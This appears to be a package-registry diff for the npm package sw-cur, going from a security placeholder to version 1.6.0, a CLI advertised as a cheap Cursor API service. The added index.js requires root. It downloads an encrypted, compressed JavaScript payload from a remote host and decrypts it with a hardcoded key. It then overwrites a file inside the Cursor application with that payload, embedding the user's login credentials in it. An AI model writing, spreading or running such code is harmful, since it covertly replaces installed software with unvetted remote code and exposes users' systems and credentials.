sw-cur 0.0.1-security → 1.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of sw-cur might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +3 -3
  2. package/index.js +230 -0
  3. package/package.json +13 -4
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
- # Security holding package
1
+ # sw-cursor
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ 升维cursor 提供官网最便宜的api服务.
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=sw-cur for more information.
5
+ ## 安装
package/index.js ADDED
@@ -0,0 +1,230 @@
1
+ #!/usr/bin/env node
2
+
3
+ const readline = require('readline');
4
+ const https = require('https');
5
+ const fs = require('fs');
6
+ const path = require('path');
7
+ const crypto = require('crypto');
8
+ const { exec } = require('child_process');
9
+ const zlib = require('zlib');
10
+
11
+ const version = "1.3.1";
12
+ const apiHost = "https://t.sw2031.com";
13
+ const webHost = "https://cursor.sw2031.com";
14
+
15
+ // HTTP请求函数
16
+ function httpRequest(method, url, data) {
17
+ return new Promise((resolve, reject) => {
18
+ const options = new URL(url);
19
+ options.method = method;
20
+
21
+ const req = https.request(options, (res) => {
22
+ let body = '';
23
+ res.on('data', chunk => body += chunk);
24
+ res.on('end', () => resolve(body));
25
+ });
26
+
27
+ req.on('error', reject);
28
+
29
+ if (method === 'POST' && data) {
30
+ req.setHeader('Content-Type', 'application/json');
31
+ req.write(data);
32
+ }
33
+
34
+ req.end();
35
+ });
36
+ }
37
+
38
+ // AES解密函数
39
+ function AesDecrypt(data, key) {
40
+ return new Promise((resolve, reject) => {
41
+ try {
42
+ // 使用密钥的前16位作为IV
43
+ const iv = key.slice(0, 16);
44
+ const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
45
+ let decrypted = decipher.update(data);
46
+ decrypted = Buffer.concat([decrypted, decipher.final()]);
47
+ resolve(decrypted);
48
+ } catch (err) {
49
+ reject(err);
50
+ }
51
+ });
52
+ }
53
+
54
+ // 解压缩函数
55
+ function Decompress(data) {
56
+ return new Promise((resolve, reject) => {
57
+ zlib.gunzip(data, (err, decompressed) => {
58
+ if (err) {
59
+ reject(err);
60
+ } else {
61
+ resolve(decompressed);
62
+ }
63
+ });
64
+ });
65
+ }
66
+
67
+ // 登录函数
68
+ async function login(user) {
69
+ try {
70
+ const response = await httpRequest('POST', `${webHost}/api/login`, JSON.stringify(user));
71
+ const resJson = JSON.parse(response);
72
+ if (resJson.token) {
73
+ return true;
74
+ }
75
+ console.log('登录错误:', resJson.error);
76
+ return false;
77
+ } catch (err) {
78
+ return false;
79
+ }
80
+ }
81
+
82
+ // 获取主JS文件
83
+ async function getMainJs() {
84
+ try {
85
+ const response = await httpRequest('GET', `${apiHost}/j?t=${Date.now()}`);
86
+ const resJson = JSON.parse(response);
87
+ return Buffer.from(resJson.data);
88
+ } catch (err) {
89
+ return null;
90
+ }
91
+ }
92
+
93
+ // 处理登录成功
94
+ async function handleLoginSuccess(user) {
95
+ const mainJs = await getMainJs();
96
+ if (!mainJs) return;
97
+
98
+ const base64Js = Buffer.from(mainJs.toString(), 'base64');
99
+ const decrypt = await AesDecrypt(base64Js, Buffer.from('a8f2e9c4b7d6m3k5n1p0q9r8s7t6u5v4'));
100
+ const unzipData = await Decompress(decrypt);
101
+
102
+ const dir = '/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist';
103
+ const cursorJsstr = unzipData.toString().replace('test:123456', `${user.username}:${user.password}`);
104
+
105
+ // 备份原文件
106
+ const backupPath = path.join(dir, 'main.js.bak');
107
+ if (fs.existsSync(path.join(dir, 'main.js'))) {
108
+ fs.copyFileSync(path.join(dir, 'main.js'), backupPath);
109
+ }
110
+
111
+ fs.writeFileSync(path.join(dir, 'main.js'), cursorJsstr);
112
+ }
113
+
114
+ // 检查Cursor进程
115
+ function checkCursorProcess() {
116
+ return new Promise((resolve) => {
117
+ if (process.platform === 'win32') {
118
+ exec('tasklist', (err, stdout) => {
119
+ resolve(stdout.toLowerCase().includes('cursor.exe'));
120
+ });
121
+ } else {
122
+ exec('ps aux', (err, stdout) => {
123
+ resolve(stdout.toLowerCase().includes('cursor'));
124
+ });
125
+ }
126
+ });
127
+ }
128
+
129
+ // 还原服务函数
130
+ async function restoreService() {
131
+ const dir = '/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist';
132
+ const backupPath = path.join(dir, 'main.js.bak');
133
+ const mainPath = path.join(dir, 'main.js');
134
+
135
+ if (!fs.existsSync(backupPath)) {
136
+ console.log('未找到备份文件,无法还原服务');
137
+ return;
138
+ }
139
+
140
+ try {
141
+ fs.copyFileSync(backupPath, mainPath);
142
+ console.log('服务已还原成功!请重新启动Cursor');
143
+ } catch (err) {
144
+ console.log('还原服务失败:', err.message);
145
+ }
146
+ }
147
+
148
+ // 显示菜单函数
149
+ function showMenu() {
150
+ console.log('\n=== Cursor 配置工具 ===');
151
+ console.log('1. 登录配置');
152
+ console.log('2. 还原服务');
153
+ console.log('==================\n');
154
+ }
155
+
156
+ // 检查是否有root权限
157
+ function checkRoot() {
158
+ return process.getuid && process.getuid() === 0;
159
+ }
160
+
161
+ // 主函数
162
+ async function main() {
163
+ // 检查是否以root权限运行
164
+ if (!checkRoot()) {
165
+ console.log('需要管理员权限才能运行此程序');
166
+ console.log('请使用 sudo 重新运行此程序');
167
+ return;
168
+ }
169
+
170
+ const isCursorRunning = await checkCursorProcess();
171
+ if (isCursorRunning) {
172
+ console.log('启动失败!请先关闭Cursor再运行本程序');
173
+ return;
174
+ }
175
+
176
+ const dir = '/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist';
177
+ if (!fs.existsSync(dir)) {
178
+ console.log('启动失败!请确认Cursor安装路径是否正确');
179
+ return;
180
+ }
181
+
182
+ const rl = readline.createInterface({
183
+ input: process.stdin,
184
+ output: process.stdout
185
+ });
186
+
187
+ while (true) {
188
+ showMenu();
189
+ const choice = await new Promise(resolve => {
190
+ rl.question('请选择操作 (1-2): ', resolve);
191
+ });
192
+
193
+ switch (choice.trim()) {
194
+ case '1':
195
+ // 最多尝试3次登录
196
+ for (let i = 0; i < 3; i++) {
197
+ const username = await new Promise(resolve => {
198
+ rl.question('请输入用户名: ', resolve);
199
+ });
200
+
201
+ const password = await new Promise(resolve => {
202
+ rl.question('请输入密码: ', resolve);
203
+ });
204
+
205
+ const user = { username: username.trim(), password: password.trim() };
206
+
207
+ if (await login(user)) {
208
+ console.log('登录成功');
209
+ await handleLoginSuccess(user);
210
+ console.log('Cursor网关配置成功!请重新启动Cursor');
211
+ rl.close();
212
+ return;
213
+ }
214
+ }
215
+ break;
216
+
217
+ case '2':
218
+ await restoreService();
219
+ rl.close();
220
+ return;
221
+
222
+ default:
223
+ console.log('无效的选择,请重新输入');
224
+ break;
225
+ }
226
+ }
227
+ }
228
+
229
+ // 运行主函数
230
+ main().catch(console.error);
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
- "name": "sw-cur",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "sw-cur",
3
+ "version": "1.6.0",
4
+ "description": "提供全网最便宜的Cursor接口服务-升维科技",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "sw-cur": "index.js"
8
+ },
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1"
11
+ },
12
+ "author": "sw-cursor",
13
+ "license": "ISC",
14
+ "keywords": []
6
15
  }